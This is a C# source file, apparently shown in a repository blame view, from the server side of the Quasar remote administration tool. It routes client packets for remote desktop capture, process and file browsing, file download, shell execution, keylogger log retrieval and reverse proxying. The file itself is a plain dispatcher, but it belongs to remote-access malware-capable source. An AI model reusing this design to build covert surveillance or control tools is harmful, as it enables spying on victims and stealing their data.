Quasar/Server/Core/Packets/PacketHandler.cs

84 lines
3.5 KiB
C#
Raw Normal View History

2015-05-28 15:25:40 -07:00
using xServer.Core.Commands;
using xServer.Core.Networking;
2015-05-28 15:25:40 -07:00
using xServer.Core.ReverseProxy;
namespace xServer.Core.Packets
{
public static class PacketHandler
{
public static void HandlePacket(Client client, IPacket packet)
{
var type = packet.GetType();
if (!client.Value.IsAuthenticated)
{
2015-07-14 10:00:31 -07:00
if (type == typeof(ClientPackets.GetAuthenticationResponse))
CommandHandler.HandleGetAuthenticationResponse(client, (ClientPackets.GetAuthenticationResponse)packet);
2015-05-28 15:25:40 -07:00
else
2015-06-06 00:28:31 -07:00
client.Disconnect();
2015-06-06 00:30:18 -07:00
return;
2015-05-28 15:25:40 -07:00
}
2015-07-14 10:00:31 -07:00
if (type == typeof(ClientPackets.SetStatus))
2015-05-28 15:25:40 -07:00
{
2015-07-14 10:00:31 -07:00
CommandHandler.HandleSetStatus(client, (ClientPackets.SetStatus)packet);
2015-05-28 15:25:40 -07:00
}
2015-07-14 10:00:31 -07:00
else if (type == typeof(ClientPackets.SetUserStatus))
2015-05-28 15:25:40 -07:00
{
2015-07-14 10:00:31 -07:00
CommandHandler.HandleSetUserStatus(client, (ClientPackets.SetUserStatus)packet);
2015-05-28 15:25:40 -07:00
}
2015-07-14 10:00:31 -07:00
else if (type == typeof(ClientPackets.GetDesktopResponse))
2015-05-28 15:25:40 -07:00
{
2015-07-14 10:00:31 -07:00
CommandHandler.HandleGetDesktopResponse(client, (ClientPackets.GetDesktopResponse)packet);
2015-05-28 15:25:40 -07:00
}
else if (type == typeof(ClientPackets.GetProcessesResponse))
{
CommandHandler.HandleGetProcessesResponse(client,
(ClientPackets.GetProcessesResponse)packet);
}
2015-07-14 10:00:31 -07:00
else if (type == typeof(ClientPackets.GetDrivesResponse))
2015-05-28 15:25:40 -07:00
{
2015-07-14 10:00:31 -07:00
CommandHandler.HandleGetDrivesResponse(client, (ClientPackets.GetDrivesResponse)packet);
2015-05-28 15:25:40 -07:00
}
2015-07-14 10:00:31 -07:00
else if (type == typeof(ClientPackets.GetDirectoryResponse))
2015-05-28 15:25:40 -07:00
{
2015-07-14 10:00:31 -07:00
CommandHandler.HandleGetDirectoryResponse(client, (ClientPackets.GetDirectoryResponse)packet);
2015-05-28 15:25:40 -07:00
}
2015-07-14 10:00:31 -07:00
else if (type == typeof(ClientPackets.DoDownloadFileResponse))
2015-05-28 15:25:40 -07:00
{
2015-07-14 10:00:31 -07:00
CommandHandler.HandleDoDownloadFileResponse(client,
(ClientPackets.DoDownloadFileResponse)packet);
2015-05-28 15:25:40 -07:00
}
else if (type == typeof(ClientPackets.GetSystemInfoResponse))
{
CommandHandler.HandleGetSystemInfoResponse(client,
(ClientPackets.GetSystemInfoResponse)packet);
}
2015-07-14 10:00:31 -07:00
else if (type == typeof(ClientPackets.GetMonitorsResponse))
2015-05-28 15:25:40 -07:00
{
2015-07-14 10:00:31 -07:00
CommandHandler.HandleGetMonitorsResponse(client, (ClientPackets.GetMonitorsResponse)packet);
2015-05-28 15:25:40 -07:00
}
2015-07-14 10:00:31 -07:00
else if (type == typeof(ClientPackets.DoShellExecuteResponse))
2015-05-28 15:25:40 -07:00
{
2015-07-14 10:00:31 -07:00
CommandHandler.HandleDoShellExecuteResponse(client,
(ClientPackets.DoShellExecuteResponse)packet);
2015-05-28 15:25:40 -07:00
}
else if (type == typeof(ClientPackets.GetStartupItemsResponse))
{
CommandHandler.HandleGetStartupItemsResponse(client,
(ClientPackets.GetStartupItemsResponse)packet);
}
2015-07-14 10:00:31 -07:00
else if (type == typeof(ClientPackets.GetKeyloggerLogsResponse))
2015-05-28 15:25:40 -07:00
{
2015-07-14 10:00:31 -07:00
CommandHandler.HandleGetKeyloggerLogsResponse(client, (ClientPackets.GetKeyloggerLogsResponse)packet);
2015-05-28 15:25:40 -07:00
}
else if (type == typeof(ReverseProxy.Packets.ReverseProxyConnectResponse) ||
type == typeof(ReverseProxy.Packets.ReverseProxyData) ||
type == typeof(ReverseProxy.Packets.ReverseProxyDisconnect))
{
ReverseProxyCommandHandler.HandleCommand(client, packet);
}
}
}
}